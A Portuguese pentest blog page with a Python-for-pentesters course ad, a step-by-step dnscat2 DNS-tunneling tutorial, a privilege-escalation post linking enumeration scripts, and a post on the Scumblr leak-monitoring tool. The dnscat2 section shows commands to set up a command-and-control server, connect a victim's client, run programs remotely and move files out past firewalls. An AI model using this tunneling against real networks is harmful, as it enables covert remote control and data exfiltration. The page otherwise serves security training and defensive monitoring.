18 de fevereiro de 2016

Próximo Treinamento: Programação para Pentesters - Maio/2016

Novo ano, novo treinamento!

Esse ano estamos lançando o treinamento Programação para Pentesters, baseado totalmente em Python, que terá sua primeira turma em Maio/2016. Conteúdo resumido pode ser encontrado abaixo, com os principais tópicos abordados:

  • Python Scripting – O Essencial
  • Programação e Segurança
  • Pentest com Python
  • Programação para Redes – Sniffers e Packet Injectors
  • Comprometendo a Rede com Scapy
  • Redes Wireless e Python
  • Reconhecimento Web com Python
  • Atacando Aplicações
  • Compromentendo aplicações Web
  • Técnicas de Exploitation
  • Command & Control via GitHub e outros meios
  • Usando Tarefas no Windows para comprometer sistemas
  • Evasão de Antivírus com Python
  • Escalada de Privilégios em Windows
  • Automatizando Ataques

O foco principal desse curso é mostrar como a programação usando Python pode facilitar a vida de profissionais de segurança automatizando uma série de atividades, inclusive ataques, que precisam ser feitos periodicamente para avaliações de segurança de seu ambiente.

Além disso, o aluno aprenderá a não depender exclusivamente de ferramentas de terceiros para realizar seus testes, podendo criar novas ferramentas ou extender as funcionalidades de ferramentas já existentes.

Quem tiver interesse no curso, por favor, acesse o link http://bit.ly/ZkbwEE e faça sua inscrição no curso "Programação para Pentesters".
Carga horária: mínimo de 32h
Investimento: R$ 1.090,00 (com possibilidade de parcelamento em até 3x no cartão de crédito via PayPal ou 12x via BCash)
Desconto: 10% de desconto para pgtos à vista via depósito.
Horário de aula: 22h às 00h
Dias de aula: terça e quarta-feira.
Início das aulas: 01/06/2016



12 de fevereiro de 2016

Bypass de firewall com tunelamento por DNS

Referência: https://github.com/iagox86/dnscat2

Uma das grandes preocupações de quem administra firewalls é justamente evitar que haja qualquer buraco que possa permitir o comprometimento de sua rede e exfiltração de informações sensíveis através de conexões remotas, principalmente através de aplicações que se utilizam da técnica Command&Control (C2).

Entretanto, sabemos que para o bom funcionamento de qualquer ambiente, alguns serviços e protocolos precisam ser liberados, como é o caso do DNS. O grande problema aqui, é que tanto o DNS, quanto outros protocolos, podem ser utilizados para encapsular informações que as regras de firewall pode deixar passar, por conta de analisarem apenas uma camada específica e apenas parte do payload dos pacotes.

É importante apenas frisar que o DNS é considerado tanto um protocolo quanto um serviço (referências podem ser encontradas aqui). Esse protocolo é nativo da camada de aplicação do modelo OSI, e suas propriedades permitem que protocolos de camadas mais baixas sejam encapsulados em pacotes DNS, o que ajudaria o processo de bypass nas regras de firewalls.

Obviamente, como tudo existe para facilitar nossas vidas, é possível utilizar aplicações já prontas para facilitar todo esse processo, o que facilita a vida tanto de pentesters quanto de atacantes reais.

Bem, implicações éticas à parte, já que somos adultos e sabemos de todas as consequências do uso de tais ferramentas para fins não éticos, vamos ao que é possível fazer com a ferramenta eleita de hoje: o dnscat2.

A primeira coisa que precisamos ter em mente é que essa ferramenta funciona no esquema de cliente/servidor. Portanto, é importante que tenha uma máquina virtual na cloud para servir de local para hospedar o server da ferramenta, como um droplet no Digital Ocean, por exemplo.

Após o deployment de sua VM na cloud, basta baixar e instalar o dnscat2 server, com os seguintes comandos:

# apt-get update
# apt-get -y install ruby-dev git make g++
# gem install bundler
# git clone https://github.com/iagox86/dnscat2.git
# cd dnscat2/server
# bundle install

E após instalar o server, para ativá-lo basta usar o comando abaixo, a partir de dentro do diretório dnscat2/server:
# ruby ./dnscat2.rb
Com isso feito, basta agora executar o cliente na máquina vítima, ou de sua máquina dentro da rede de onde quer fazer a conexão, usando simplesmente o parâmetro "--host [IP-do-server]". Caso a máquina de onde esteja rodando o cliente seja Windows, basta baixar o binário pré-compilado do site do desenvolvedor: https://downloads.skullsecurity.org/dnscat2/ e executá-lo com o mesmo parâmetro (--host [IP-do-server]).

Assim que o cliente for executado, poderá perceber que no server você receberá o laerta de uma nova conexão existente com um cliente, como abaixo:
# ruby ./dnscat2.rb
Starting Dnscat2 DNS server on 0.0.0.0:53 [domains = n/a]...
No domains were selected, which means this server will only respond to direct queries (using --host and --port on the client)
dnscat2> New session established: 1258 
dnscat2>
O que é mais interessante, é que a partir do server você poderá interagir com o cliente a qualquer momento, executando comandos e carregando aplicações definindo com qual sessão deseja interagir, como por exemplo:
dnscat2> session -i 1258
Welcome to a command session!
Use 'help' for a list of commands or ^z for the main menu
dnscat [command: 1258]> exec notepad.exe
Sent request to execute
dnscat [command: 1258]>

dnscat2 também suporta outros comandos, como download e upload, para exfiltragem de informações por exemplo.

Outra forma interessante, para tornar nossa estrutura mais robusta, é configurar um servidor DNS em alguma outra droplet (VM na cloud) usando um name específico, como hackproofing.com por exemplo, e configurá-lo para atuar como um servidor de DNS rodando em um IP válido, que servirá de intermediário entre o server e o client. 

Sendo assim, precisaremos configurar o server para rodar conectado à esse DNS com o comando:
# ruby ./dnscat2.rb hackproofing.com
E o client a mesma coisa, mas agora sem o parâmetro --host, simplesmente colocando o nome do DNS "hackproofing.com" após o comando de execução do cliente dnscat2.

Dessa maneira, se executar um wireshark para analisar as requisições saindo da rede local, verá várias requisições feitas ao DNS "hackproofing.com". E obviamente, dependendo da quantidade de tráfego gerado por essas conexões, para um administrador de redes atento, isso chamará sua atenção.

Esse é o básico de utilização da ferramenta! Portanto, divirtam-se e descubram novas funcionalidades e formas de utilizá-la.

18 de janeiro de 2016

Escalada de Privilégio em Windows e Linux

A segunda principal fase de um teste de invasão, na minha opinião é justamente a pós-exploração, sendo a primeira a fazer de Footprinting/Fingerprinting.

Enquanto que a maioria dos pentesters se contentam em entregar um simples screenshot com de uma tela preta com um caracter "#" ou um "NT AUTHORITY\SYSTEM", o que realmente vale para o cliente é mostrar o quanto suas informações sensíveis estão expostas. Entretanto isso pressupõe que o pentester realizou o comprometimento de uma estação ou servidor, e aprofundou-se em suas atividades.

Para conseguir chegar a esse ponto, a primeira coisa é fazer a escalada de privilégios, mas decididamente não parar por aí. E esse post vai falar justamente sobre isso: escalada de privilégios em diferentes sistems operacionais.

Existem muitas ferramentas que já executam esse procedimento para você, após ter conseguido o acesso inicial através de exploração ou simples acesso físico. Entretanto, nem sempre poderemos contar com as ferramentas prontas, então aqui já seguem cinco listas de comandos a serem usados para escalar privilégios, alterar configurações do S.O. e/ou executar procedimentos que sem os devidos privilégios seria impossível:


Além dos comandos, ainda assim podemos utilizar alguns scripts que facilitam a vida, ajudando-nos a descobrir brechas na configuração do S.O. que podem ser exploradas para a escalada de privilégios. Temos como exemplo três scripts:
- Linux Local Enumerationhttps://highon.coffee/downloads/linux-local-enum.sh
- Unix Privesc Checkhttp://pentestmonkey.net/tools/audit/unix-privesc-check
- Windows Privesc Checkhttps://github.com/pentestmonkey/windows-privesc-check

As três ferramentas acima, auxiliam e muito em situações onde precisamos encontrar alguma falha na configuração do sistema explorado, mas não temos tanto tempo para ficar fuçando, então a rapidez com que temos um retorno acaba valendo a pena utilizá-las, ainda mais quando vc tem aceso físico à máquina.

Então aproveitem essas informações e divirtam-se!

12 de dezembro de 2015

8 de dezembro de 2015

Busca automatizada por Leaks - Encontre informações que vazaram na Internet

Uma das coisas interessantes que precisamos fazer quando atuamos com segurança da informação, pesquisa de vulnerabilidades, engenharia social, OSINT (Open Source Intelligence), threat intelligence e etc, é justamente a busca por informações importantes. E como estamos na era da informação, e informação vale dinheiro, obviamente que uem tem acesso aà informação em primeiro lugar tem a dianteira em diversos assuntos.

Para isso, é necessário monitoramento contínuo e atento. Por exemplo, se você cuida da segurança do ambiente de alguns clientes e repentinamente vaza na internet dados sigilosos do mesmo, incluindo informações de contas de usuários. O que aconteceria se você só soubesse disso depois que seu cliente se deparasse com essas informações na internet e ligasse para avisá-lo? Convenhamos que não é um cenário interessante...

Portanto, nesse post vamos falar de uma ferramenta que pode nos ajudar a descobrir "information leak" antes da coisa se espalhar como rastilho de pólvora e você ter mais tempo para executar uma ação mitigadora. A ferramente é o Scumblr.



Nessa ferramenta, podemos definir de forma personalizada que tipo de informação queremos monitorar na internet periodicamente, e isso pode abranger os seguintes tipos de leak:


  • Credenciais comprometidas
  • Vulnerabilidades
  • Conversas de grupos de crackers
  • Discussões sobre ataques
  • Discussões relevantes sobre segurança em redes sociais


E para tanto, Scumblr utiliza-se de várias bases de informações disponíveis na internet que possibilitam a busca manual, mas que sem a ferramenta daria muito trabalho. Algumas dessas fontes estão descritas abaixo:


  • Google
  • YouTube
  • Facebook
  • Apple AppStore
  • Google Play Store
  • eBay
  • Twitter

E uma das features que acho interessante no Scumblr é que depois de encontrar resultados, você pode configurar que os tópicos sejam simplesmente marcados como "Reviwed", enviem alertas, ou executem ações automatizadas mais complexas.

Para quem quiser conhecer um pouco da ferramenta, acesse aqui e divirta-se!

E para finalizar, acesse a wiki para aprender a configurar e utilizar a ferramenta.